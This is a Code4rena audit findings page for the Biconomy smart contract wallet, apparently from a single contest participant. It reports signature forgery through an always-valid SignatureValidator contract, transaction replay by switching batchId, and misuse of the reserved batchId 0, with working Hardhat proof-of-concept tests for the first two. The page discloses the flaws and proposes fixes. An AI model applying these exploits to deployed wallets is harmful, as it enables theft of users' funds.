Platform: Code4rena
Start Date: 04/01/2023
Pot Size: $60,500 USDC
Total HM: 15
Participants: 105
Period: 5 days
Judge: gzeon
Total Solo HM: 1
Id: 200
League: ETH
Rank: 6/105
Findings: 3
Award: $1,283.15
🌟 Selected for report: 0
🚀 Solo Findings: 0
22.7235 USDC - $22.72
A malicious user can forge signatures for any transaction, allowing fund theft from any wallet
Added minimal SignatureValidator
contract which returns that the signature is verified for any signature:
pragma solidity 0.8.12; contract SignatureValidator { function isValidSignature(bytes memory _data, bytes memory _signature) public view virtual returns (bytes4) { return 0x20c13b0b; } }
Added the following test to testGroup1.ts (bob generates contract signature, uses the SignatureValidator
to validate the signature)
it("should exploit contract signature", async function () { const SignatureValidator = await ethers.getContractFactory("SignatureValidator"); let signatureValidator = await SignatureValidator.deploy(); await signatureValidator.deployed(); await token .connect(accounts[0]) .transfer(userSCW.address, ethers.utils.parseEther("100")); const safeTx: SafeTransaction = buildSafeTransaction({ to: token.address, data: encodeTransfer(bob, ethers.utils.parseEther("10").toString()), nonce: await userSCW.getNonce(0), }); const transaction: Transaction = { to: safeTx.to, value: safeTx.value, data: safeTx.data, operation: safeTx.operation, targetTxGas: safeTx.targetTxGas, }; const refundInfo: FeeRefund = { baseGas: safeTx.baseGas, gasPrice: safeTx.gasPrice, tokenGasPriceFactor: safeTx.tokenGasPriceFactor, gasToken: safeTx.gasToken, refundReceiver: safeTx.refundReceiver, }; const signature = "0x" + "000000000000000000000000" + signatureValidator.address.slice(2) + "0000000000000000000000000000000000000000000000000000000000000041" + "00" + // r, s, v "0000000000000000000000000000000000000000000000000000000000000000" // length await expect( userSCW.connect(accounts[1]).execTransaction( // notice that accounts[1] (bob) executes the transaction transaction, 0, // batchId refundInfo, signature ) ).to.emit(userSCW, "ExecutionSuccess"); expect(await token.balanceOf(bob)).to.equal( ethers.utils.parseEther("10") ); });
VS Code, hardhat
Check that _signer
is an approved SignatureValidator (Reference to how Safe checks this https://github.com/safe-global/safe-contracts/blob/main/contracts/GnosisSafe.sol#L301)
#0 - c4-judge
2023-01-17T07:08:14Z
gzeon-c4 marked the issue as duplicate of #175
#1 - c4-sponsor
2023-01-26T00:17:03Z
livingrockrises marked the issue as sponsor confirmed
#2 - c4-judge
2023-02-10T12:28:30Z
gzeon-c4 marked the issue as satisfactory
🌟 Selected for report: Tointer
Also found by: 0xdeadbeef0x, HE1M, Haipls, Koolex, PwnedNoMore, Tricko, V_B, csanuragjain, orion, peakbolt, ro, romand, taek
149.4204 USDC - $149.42
A malicious user can replay a transaction signed by another user, by changing the batchId to another value which holds an equal nonce in nonces
. This potentially can allow the attacker to steal funds if the replayed transaction transfers value.
After the user calls execTranscation
with batchId=x, a nonce value of nonces[x] is used. If there is another batchId=y such that nonces[x] = nonces[y], the attacker can replay the same transaction with batchId=y.
This is surely possible at the first transaction of any batchId, because nonces[batchId]=0 for any batchId
Added the following test to testGroup1.ts:
it("should exploit batchId", async function () { await token .connect(accounts[0]) .transfer(userSCW.address, ethers.utils.parseEther("100")); const txs: MetaTransaction[] = [ buildContractCall( token, "transfer", [bob, ethers.utils.parseEther("10")], 1234 // This is ignored ) ]; const safeTx: SafeTransaction = buildMultiSendSafeTx( multiSend, txs, await userSCW.getNonce(0) ); const chainId = await userSCW.getChainId(); const { signer, data } = await safeSignTypedData( accounts[0], userSCW, safeTx, chainId ); const transaction: Transaction = { to: safeTx.to, value: safeTx.value, data: safeTx.data, operation: safeTx.operation, targetTxGas: safeTx.targetTxGas, }; const refundInfo: FeeRefund = { baseGas: safeTx.baseGas, gasPrice: safeTx.gasPrice, tokenGasPriceFactor: safeTx.tokenGasPriceFactor, gasToken: safeTx.gasToken, refundReceiver: safeTx.refundReceiver, }; let signature = "0x"; signature += data.slice(2); await expect( userSCW.connect(accounts[0]).execTransaction( transaction, 0, // batchId refundInfo, signature ) ).to.emit(userSCW, "ExecutionSuccess"); expect(await token.balanceOf(bob)).to.equal(ethers.utils.parseEther("10")); // Execute the transaction again with another batch id, from another bob await expect( userSCW.connect(accounts[1]).execTransaction( // accounts[1] (bob) replays the transaction with a different batchId transaction, 1, // change batchId to another batch which held a similar nonce value as the original batchId=0 transaction refundInfo, signature ) ).to.emit(userSCW, "ExecutionSuccess"); expect(await token.balanceOf(bob)).to.equal(ethers.utils.parseEther("20")); });
VS Code, hardhat
Signing over not only nonces[batchId]
but also over batchId
will prevent the replay attack
https://github.com/code-423n4/2023-01-biconomy/blob/main/scw-contracts/contracts/smart-contract-wallet/SmartAccount.sol#L212
#0 - c4-judge
2023-01-17T07:07:52Z
gzeon-c4 marked the issue as duplicate of #485
#1 - c4-sponsor
2023-01-25T23:54:06Z
livingrockrises marked the issue as sponsor confirmed
#2 - c4-judge
2023-02-10T12:34:41Z
gzeon-c4 marked the issue as satisfactory
🌟 Selected for report: 0xdeadbeef0x
Also found by: romand
1111.0127 USDC - $1,111.01
https://github.com/code-423n4/2023-01-biconomy/blob/main/scw-contracts/contracts/smart-contract-wallet/SmartAccount.sol#L501-L503 https://github.com/code-423n4/2023-01-biconomy/blob/main/scw-contracts/contracts/smart-contract-wallet/SmartAccount.sol#L194
A user can call execTransaction
batchId=0, not knowing this value is reserved for AA
https://github.com/code-423n4/2023-01-biconomy/blob/main/scw-contracts/contracts/smart-contract-wallet/SmartAccount.sol#L499
// @notice Nonce space is locked to 0 for AA transactions
This can cause many issues, such as escalating other vulnerabilities, causing problems in future code, or the issue in current code - cause user operations to fail, because they were signed for a nonce value which was already incremented by sending a batch with batchId=0
https://github.com/code-423n4/2023-01-biconomy/blob/main/scw-contracts/contracts/smart-contract-wallet/SmartAccount.sol#L501-L503 https://github.com/code-423n4/2023-01-biconomy/blob/main/scw-contracts/contracts/smart-contract-wallet/SmartAccount.sol#L216 PoC for failing user operations:
UserOperation
with nonce N.UserOperation
is in the mempool, the user calls execTransaction
with batchId=0UserOperation
to fail the nonce validation in _validateAndUpdateNonce
This can happen multiple times, and the user won't know what went wrong
VS Code
Add check to prevent calling execTransaction
with batchId=0
#0 - c4-judge
2023-01-17T07:07:38Z
gzeon-c4 marked the issue as duplicate of #246
#1 - c4-sponsor
2023-01-19T22:24:44Z
livingrockrises marked the issue as sponsor confirmed
#2 - c4-judge
2023-02-10T12:36:03Z
gzeon-c4 marked the issue as satisfactory